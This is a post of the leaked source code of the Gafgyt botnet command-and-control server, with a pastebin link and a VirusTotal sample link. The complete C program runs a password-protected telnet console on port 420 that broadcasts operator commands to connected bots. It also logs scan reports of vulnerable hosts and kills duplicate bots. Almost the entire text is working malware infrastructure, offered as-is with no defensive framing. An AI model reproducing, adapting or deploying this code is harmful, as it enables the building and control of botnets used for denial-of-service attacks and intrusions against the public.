Gafgyt server source code leaked reference link here......http://pastebin.com/vdWW47uk
and sample https://www.virustotal.com/sv/file/2a04c216fce75d19e5162081eb747b8a77c205f6dd933b0864c08fb086c929c5/analysis/1425921008/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
// This is what you will connect to through telnet.
// This port is different the the bot port. Which is set when you run the server.
// This is for management and commands interface.
#define MY_MGM_PASS "Cxy0123"
#define MY_MGM_PORT 420
#define MAXFDS 1000000 // No way we actually reach this amount. Ever.
struct clientdata_t {
uint32_t ip;
char build[7];
char connected;
} clients[MAXFDS];
struct telnetdata_t {
int connected;
} managements[MAXFDS];
static volatile FILE *fileFD;
static volatile int epollFD = 0;
static volatile int listenFD = 0;
static volatile int managesConnected = 0;
int fdgets(unsigned char *buffer, int bufferSize, int fd)
{
int total = 0, got = 1;
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
return got;
}
void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
{
int i;
int begin = 0;
int end = strlen(str) - 1;
while (isspace(str[begin])) begin++;
while ((end >= begin) && isspace(str[end])) end--;
for (i = begin; i <= end; i++) str[i - begin] = str[i];
str[i - begin] = '\0';
}
static int make_socket_non_blocking (int sfd)
{ // man fcntl
int flags, s;
flags = fcntl (sfd, F_GETFL, 0);
if (flags == -1)
{
perror ("fcntl");
return -1;
}
flags |= O_NONBLOCK;
/*
F_SETFL (int)
Set the file status flags to the value specified by arg. File access mode (O_RDONLY, O_WRONLY, O_RDWR) and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are
ignored. On Linux this command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags.
*/
s = fcntl (sfd, F_SETFL, flags);
if (s == -1)
{
perror ("fcntl");
return -1;
}
return 0;
}
static int create_and_bind (char *port)
{
struct addrinfo hints;
struct addrinfo *result, *rp;
int s, sfd;
memset (&hints, 0, sizeof (struct addrinfo));
hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
hints.ai_flags = AI_PASSIVE; /* All interfaces */
s = getaddrinfo (NULL, port, &hints, &result);
if (s != 0)
{
fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
return -1;
}
for (rp = result; rp != NULL; rp = rp->ai_next)
{
sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
if (sfd == -1) continue;
int yes = 1;
if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
if (s == 0)
{
break;
}
close (sfd);
}
if (rp == NULL)
{
fprintf (stderr, "Could not bind\n");
return -1;
}
freeaddrinfo (result);
return sfd;
}
void broadcast(char *msg, int us) // sends message to all bots, notifies the management clients of this happening
{
int sendMGM = 1;
if(strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management. Why? Because a human is going to ignore it.
char *wot = malloc(strlen(msg) + 10);
memset(wot, 0, strlen(msg) + 10);
strcpy(wot, msg);
trim(wot);
time_t rawtime;
struct tm * timeinfo;
time(&rawtime);
timeinfo = localtime(&rawtime);
char *timestamp = asctime(timeinfo);
trim(timestamp);
int i;
for(i = 0; i < MAXFDS; i++)
{
if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
if(sendMGM && managements[i].connected)
{
send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
send(i, ": ", 2, MSG_NOSIGNAL);
} //just a prompt with a timestamp.
printf("sent to fd: %d\n", i); // debug info, possibly also intrusion detection. Tells you when a management client connected on command line.
send(i, msg, strlen(msg), MSG_NOSIGNAL);
if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
else send(i, "\n", 1, MSG_NOSIGNAL);
}
free(wot);
}
void *epollEventLoop(void *useless) // the big loop used to control each bot asynchronously. Many threads of this get spawned.
{
struct epoll_event event;
struct epoll_event *events;
int s;
events = calloc (MAXFDS, sizeof event);
while (1)
{
int n, i;
n = epoll_wait (epollFD, events, MAXFDS, -1);
for (i = 0; i < n; i++)
{
if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
{
clients[events[i].data.fd].connected = 0;
close(events[i].data.fd);
continue;
}
else if (listenFD == events[i].data.fd)
{
while (1)
{
struct sockaddr in_addr;
socklen_t in_len;
int infd, ipIndex;
in_len = sizeof in_addr;
infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
if (infd == -1)
{
if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
else
{
perror ("accept");
break;
}
}
clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
int dup = 0;
for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
{
if(!clients[ipIndex].connected || ipIndex == infd) continue;
if(clients[ipIndex].ip == clients[infd].ip)
{
dup = 1;
break;
}
}
if(dup)
{
printf("Duplicate Client\n"); // warns the operator on command line
if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } // orders all the bots to immediately kill themselves if we see a duplicate client! MAXIMUM PARANOIA
if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; } // same thing as above.
close(infd);
continue;
}
s = make_socket_non_blocking (infd);
if (s == -1) { close(infd); break; }
event.data.fd = infd;
event.events = EPOLLIN | EPOLLET;
s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
if (s == -1)
{
perror ("epoll_ctl");
close(infd);
break;
}
clients[infd].connected = 1;
//send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
}
continue;
}
else
{
int thefd = events[i].data.fd;
struct clientdata_t *client = &(clients[thefd]);
int done = 0;
client->connected = 1;
while (1)
{
ssize_t count;
char buf[2048];
memset(buf, 0, sizeof buf);
while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
{
if(strstr(buf, "\n") == NULL) { done = 1; break; }
trim(buf);
if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
{
if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
continue;
}
if(strstr(buf, "BUILD ") == buf)
{
char *build = strstr(buf, "BUILD ") + 6;
if(strlen(build) > 9) { printf("build bigger then 6\n"); done = 1; break; }
memset(client->build, 0, 7);
strcpy(client->build, build);
continue;
}
if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
{
char *line = strstr(buf, "REPORT ") + 7;
fprintf(fileFD, "%s\n", line); // let's write it out to disk without checking what it is!
fflush(fileFD);
//TODO: automatically exploit that particular IP after scanning for dir and uploading correct arch stuffs.
continue;
}
if(strcmp(buf, "PONG") == 0)
{
//should really add some checking or something but meh
continue;
}
printf("buf: \"%s\"\n", buf);
}
if (count == -1)
{
if (errno != EAGAIN)
{
done = 1;
}
break;
}
else if (count == 0)
{
done = 1;
break;
}
}
if (done)
{
client->connected = 0;
close(thefd);
}
}
}
}
}
unsigned int clientsConnected() // counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
{
int i = 0, total = 0;
for(i = 0; i < MAXFDS; i++)
{
if(!clients[i].connected) continue;
total++;
}
return total;
}
void *titleWriter(void *sock) // just an informational banner
{
// this LOOKS vulnerable, but it's actually not.
// there's no way we can have 2000 digits' worth of clients/bots connected to overflow that char array
int thefd = (int)sock;
char string[2048];
while(1)
{
memset(string, 0, 2048);
sprintf(string, "%c]0;Hoes connected: %d | Pimps connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
// \007 is a bell character... causes a beep. Why is there a beep here?
if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
sleep(2);
}
}
void *telnetWorker(void *sock)
{
int thefd = (int)sock;
managesConnected++;
pthread_t title;
char buf[2048];
memset(buf, 0, sizeof buf);
if(send(thefd, "Password: ", 10, MSG_NOSIGNAL) == -1) goto end; /* failed to send... kill connection */
if(fdgets(buf, sizeof buf, thefd) < 1) goto end; /* no data, kill connection */
trim(buf);
if(strcmp(buf, MY_MGM_PASS) != 0) goto end; /* bad pass, kill connection */
memset(buf, 0, 2048);
if(send(thefd, "\033[1A", 4, MSG_NOSIGNAL) == -1) goto end;
pthread_create(&title, NULL, &titleWriter, sock); /* writes the informational banner to the admin after a login */
if(send(thefd, "\x1b[31m*****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
if(send(thefd, "* WELCOME TO THE BALL PIT *\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
if(send(thefd, "* Now with \x1b[32mrefrigerator\x1b[31m support *\r\n", 53, MSG_NOSIGNAL) == -1) goto end;
if(send(thefd, "*****************************************\r\n\r\n> \x1b[0m", 51, MSG_NOSIGNAL) == -1) goto end;
/* If we can't send the useless banner, kill ourselves! Amazing error handling! */
managements[thefd].connected = 1;
while(fdgets(buf, sizeof buf, thefd) > 0)
{
trim(buf);
if(send(thefd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
if(strlen(buf) == 0) continue;
printf("Management: \"%s\"\n", buf);
broadcast(buf, thefd); // take a command, send it to the bots
memset(buf, 0, 2048);
}
end: // cleanup dead socket
managements[thefd].connected = 0;
close(thefd);
managesConnected--;
}
void *telnetListener(void *useless)
{
int sockfd, newsockfd;
socklen_t clilen;
struct sockaddr_in serv_addr, cli_addr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) perror("ERROR opening socket");
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(MY_MGM_PORT);
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
listen(sockfd,5);
clilen = sizeof(cli_addr);
while(1)
{
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
if (newsockfd < 0) perror("ERROR on accept");
pthread_t thread;
pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
}
}
int main (int argc, char *argv[])
{
signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
int s, threads;
struct epoll_event event;
if (argc != 3)
{
fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
exit (EXIT_FAILURE);
}
fileFD = fopen("output.txt", "a+"); // TOCTOU vuln if we have access to CnC
threads = atoi(argv[2]);
listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
if (listenFD == -1) abort ();
s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
if (s == -1) abort ();
s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
if (s == -1)
{
perror ("listen");
abort ();
}
epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
if (epollFD == -1)
{
perror ("epoll_create");
abort ();
}
event.data.fd = listenFD;
event.events = EPOLLIN | EPOLLET;
s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
if (s == -1)
{
perror ("epoll_ctl");
abort ();
}
pthread_t thread[threads + 2];
while(threads--)
{
pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
}
pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
while(1)
{
broadcast("PING", -1); // ping bots every 60 sec on the main thread
sleep(60);
}
close (listenFD);
return EXIT_SUCCESS;
}